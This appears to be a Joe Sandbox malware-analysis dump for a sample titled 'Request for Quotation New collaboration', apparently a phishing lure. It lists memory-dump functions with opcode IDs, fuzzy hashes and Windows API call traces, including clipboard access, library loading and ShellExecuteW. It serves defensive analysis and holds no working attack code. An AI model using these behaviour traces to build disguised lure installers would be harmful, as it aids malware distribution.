Opcode ID: 5f82d2e0f17352f6e6aa85f058ab1cd6d4bf7fe1c150410ee22fbc1f2672f45c
Instruction ID: 84171e99fa8803dd8ed3cb549f9ede6308d1f8180c9b73b2c863e804f91c8dc5
Opcode Fuzzy Hash: 5f82d2e0f17352f6e6aa85f058ab1cd6d4bf7fe1c150410ee22fbc1f2672f45c
Instruction Fuzzy Hash: DFC1A079E00218CFEB15DFA5C994B9DBBB2BF89300F1080A9D809BB365DB355A85CF54

Function 351AE6F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e039dd395e0b3f19a7caa98169fecc23800896002d2bf3c88f0b7ed3a54068
Instruction ID: f6f9526c06dbd223e9bd555dc33a0241d9d7eab78196ee55e5a06b08dc69e156
Opcode Fuzzy Hash: 38e039dd395e0b3f19a7caa98169fecc23800896002d2bf3c88f0b7ed3a54068
Instruction Fuzzy Hash: D5C1A179E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D409AB365DB355E85CF14

Function 37EE4FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd92abf3f5305e31fca7d6a79978f2e6df6b9c31e17a0ec1465e3f60514d6c32
Instruction ID: 882fede7535b75a6d11a4f9aa24f3d0bae8a403666495f0c049f43aa350b462d
Opcode Fuzzy Hash: dd92abf3f5305e31fca7d6a79978f2e6df6b9c31e17a0ec1465e3f60514d6c32
Instruction Fuzzy Hash: 30C1A074E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D819BB365DB355A85CF54

Function 37EE46F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb754642f86ee2ed1032501edf1833e75cc917b6c894abfc252ebd16b1d4cc0d
Instruction ID: 6bbba137aa2eee28392d37bab44a338a5307dd77ad9f3126687954254fb829c4
Opcode Fuzzy Hash: fb754642f86ee2ed1032501edf1833e75cc917b6c894abfc252ebd16b1d4cc0d
Instruction Fuzzy Hash: EBC19079E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809BB365DB355A85CF54

Function 37EE1EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18cda16f5c8cb33a4771b1e5f377f4e1044693dd8b9f3d4e57ab921448f09249
Instruction ID: a9ede8d5d3188754bc5bae4a574b324a8541c14b363b818e75ee72feb20b600b
Opcode Fuzzy Hash: 18cda16f5c8cb33a4771b1e5f377f4e1044693dd8b9f3d4e57ab921448f09249
Instruction Fuzzy Hash: 73C19178E01218CFEB14DFA5C994B9DBBB2BF89300F1081A9D409AB365DB355A85CF54

Function 37EE3E48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4409381f23a917a6e2c9424011e3f97eb826f72ba67a6f98acbaf79aa06a074b
Instruction ID: 729510d509585b7526c3286c4c79d707fba692b3adb81f90a7cf1d32d42032e8
Opcode Fuzzy Hash: 4409381f23a917a6e2c9424011e3f97eb826f72ba67a6f98acbaf79aa06a074b
Instruction Fuzzy Hash: AAC1A175E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809AB365DB355E85CF54

Function 37EE15F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e441ed8104a257accf78cdafdd14428b0f279f54596c42998219e7bea29b0d
Instruction ID: 585828906b62c0406dbd141f6626999e002e29adb8c684a1c0326824abbf2386
Opcode Fuzzy Hash: e6e441ed8104a257accf78cdafdd14428b0f279f54596c42998219e7bea29b0d
Instruction Fuzzy Hash: 89C19078E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D409AB365DB355E85CF54

Function 37EE3598 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a48404a3596bd9e4ff8ca1f3c6fc240913f00a78e81e61ae39eef898a25e359
Instruction ID: c71546a9145c79645090d5f71c817385875468905f0f75855f6beec3f896845f
Opcode Fuzzy Hash: 0a48404a3596bd9e4ff8ca1f3c6fc240913f00a78e81e61ae39eef898a25e359
Instruction Fuzzy Hash: CAC19074E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D409AB365DB359E85CF54

Function 37EE0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f66ba4f1d26449f0ba76812c829d0bb0f79b5ba72eaa3a204f6c8a8c203d160
Instruction ID: 53ff288d7f34f2b612b36dfa400c6975a582b7b0bdc8efa9cf71dd2a50b23c77
Opcode Fuzzy Hash: 6f66ba4f1d26449f0ba76812c829d0bb0f79b5ba72eaa3a204f6c8a8c203d160
Instruction Fuzzy Hash: A3C19178E00218CFDB14DFA5C994B9DBBB2BF89300F2081A9D409BB365DB355A85CF54

Function 37EE2CE8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294e11527d9e91a3e9bd8d5ce84ca33a5ff4a0a5a5625bb04c631bc24946c3fa
Instruction ID: 3a6975e84f2fc21fc5d38c7ae70296690c2255a684f3b43c53b7a5cd87ac5f3b
Opcode Fuzzy Hash: 294e11527d9e91a3e9bd8d5ce84ca33a5ff4a0a5a5625bb04c631bc24946c3fa
Instruction Fuzzy Hash: A6C19074E00218CFEB14DFA5C994B9DBBB2AF89304F1081A9D409AB365DB355A85CF54

Function 37EE0498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e1a8524896ebb11ee3b686e61dfde243ba56545d4bed9bfcca66122059aa271
Instruction ID: e6bbd5f9953876a27b8e23ab98f26cd801d39d892019ab91ce849ea14498d24a
Opcode Fuzzy Hash: 9e1a8524896ebb11ee3b686e61dfde243ba56545d4bed9bfcca66122059aa271
Instruction Fuzzy Hash: F3C1A074E00218CFEB14DFA5C994B9DBBB2BF89301F2081A9D809AB365DB355A85CF54

Function 37EE4B50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e0907b6ee8e51963de8e57ebc508ee55568d8694744368e3f99ece931994cd
Instruction ID: 0de418cd36c57d2cee9e6a24ceb91ff4a8e980d7c2b1e7f5cbd0d296be94ae02
Opcode Fuzzy Hash: a6e0907b6ee8e51963de8e57ebc508ee55568d8694744368e3f99ece931994cd
Instruction Fuzzy Hash: E7C19075E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809AB365DB355A85CF54

Function 37EE2300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b31e9ad2d45f32fbb3cfe1c882189a2915c9bfba2a880bd9746a56acf27a42
Instruction ID: 76d82ddc352edc3cce0716dcd2ecd584260c37ef9d2775a04432fef2cbaa3ec1
Opcode Fuzzy Hash: 43b31e9ad2d45f32fbb3cfe1c882189a2915c9bfba2a880bd9746a56acf27a42
Instruction Fuzzy Hash: 89C19078E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D809BB365DB355A85CF54

Function 37EE1A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f508ffae47200cb89f7b4c198f1e83daa049ac1208d315aa5112e265b71f079
Instruction ID: 6f184ae8beb81cfd5f2822b04e60c474f58b45b4d6719954f3da1919d4490c87
Opcode Fuzzy Hash: 9f508ffae47200cb89f7b4c198f1e83daa049ac1208d315aa5112e265b71f079
Instruction Fuzzy Hash: 49C19078E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809AB365DB355A85CF54

Function 37EE39F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d17e5f8ec17134795c7df91b8709291326ba5d367f0249a8c76b98d2c587d89
Instruction ID: ccd1d0ab323dfca8e60401c85ac2a0d96b42f4c17820e3a6bb6b107df3449c49
Opcode Fuzzy Hash: 8d17e5f8ec17134795c7df91b8709291326ba5d367f0249a8c76b98d2c587d89
Instruction Fuzzy Hash: 65C19174E01218CFEB14DFA5C994B9DBBB2BF89300F1081A9D409AB365DB359E85CF54

Function 37EE11A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c3b0e39eeb5c68692294bb953c17a0596cb33f9b5e0d7e6060256b132333e2
Instruction ID: abed7ec945c4f394762490cdfd182e2fffc7568e74441b145820ca2a63d43a5f
Opcode Fuzzy Hash: e8c3b0e39eeb5c68692294bb953c17a0596cb33f9b5e0d7e6060256b132333e2
Instruction Fuzzy Hash: 38C19178E00218CFEB14DFA5C994B9DBBB2BF89300F5081A9D809AB365DB355E85CF54

Function 37EE3140 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5c10ccbc4a118b4533178e254fa851186414db52556cc7c76c0fb8a0e27eb5c
Instruction ID: e0363aa876fb35d22aeca6fcd6fca8ce86ddcf9bdc8ecb3a4bc97bd997a91abb
Opcode Fuzzy Hash: b5c10ccbc4a118b4533178e254fa851186414db52556cc7c76c0fb8a0e27eb5c
Instruction Fuzzy Hash: 14C19174E01218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809AB365DB359A85CF54

Function 37EE08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c92e45f17bd85b1717e88cb709d71f96d5160ed9d103e23bb3e9e4ca02e53eb
Instruction ID: 81e72a8e03147b052539abeb50e3070ef2160ccd01d48987e4f4cd719cb51d3d
Opcode Fuzzy Hash: 7c92e45f17bd85b1717e88cb709d71f96d5160ed9d103e23bb3e9e4ca02e53eb
Instruction Fuzzy Hash: 77C19174E00218CFEB14DFA5C994B9DBBB2BF89301F2081A9D809AB365DB355E85CF54

Function 37EE2890 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ff725dd325497bf242156e8e6bcce9b823483d347bf267fda50fde7c3085fea
Instruction ID: 63a7aaf268650e6277cad9b48ad6070332b5b07c5cabdc3926116113b02f9123
Opcode Fuzzy Hash: 6ff725dd325497bf242156e8e6bcce9b823483d347bf267fda50fde7c3085fea
Instruction Fuzzy Hash: 69C19078E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809BB365DB355A85CF54

Function 37EE0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2490257b0612b0d662b0d5dfe053b9511f0120c220c9c31f1145ff6c24adb6e9
Instruction ID: 7d135e59ec61703c2f7e52f5afaa4e61ba861ab57d7239c8b1d95e905eb1ad24
Opcode Fuzzy Hash: 2490257b0612b0d662b0d5dfe053b9511f0120c220c9c31f1145ff6c24adb6e9
Instruction Fuzzy Hash: D0C19174E00218CFEB14DFA5C994B9DBBB2BF89301F2081A9D409AB365DB355A85CF54

Function 3845F438 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14905b352b3d659bc4d94f3cb94713e7daf993687f376005e2876de419e732c0
Instruction ID: a0aefae96c1267690ee166974e53449f3ed2c3c22386a98d8bdd0873e57b06d6
Opcode Fuzzy Hash: 14905b352b3d659bc4d94f3cb94713e7daf993687f376005e2876de419e732c0
Instruction Fuzzy Hash: ECD06775E042189BDB11AFA4D8902ECB7B0ABAA321F0060A6D55CA7111D7B099958E56

Function 37EEA6C7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a413b31ccc75dea58708a80ee643da8ca4b7bdfe70e42d29e89a01cc8e73897
Instruction ID: f28a6fab78e86c3c92306f2ba6555d5faf5b55b9bdba9b4a7fb9c7e5975ea85e
Opcode Fuzzy Hash: 9a413b31ccc75dea58708a80ee643da8ca4b7bdfe70e42d29e89a01cc8e73897
Instruction Fuzzy Hash: AED09E75D4421CDBDB11DFA4D8903ECB3B1FB9A310F1064A5D44CA7111DBB09E958E55

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
EnableWindow.USER32(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 004038B4 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,76F93420,00000000,00434000), ref: 00403935
lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

.DEFAULT\Control Panel\International, xrefs: 00403920
RichEd32, xrefs: 00403AF3
RichEd20, xrefs: 00403AE8
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEdit, xrefs: 00403B0F
.exe, xrefs: 004039C2
_Nb, xrefs: 00403A38, 00403AA0
RichEdit20W, xrefs: 00403B00, 00403B06

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1115850852
Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 004042CC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
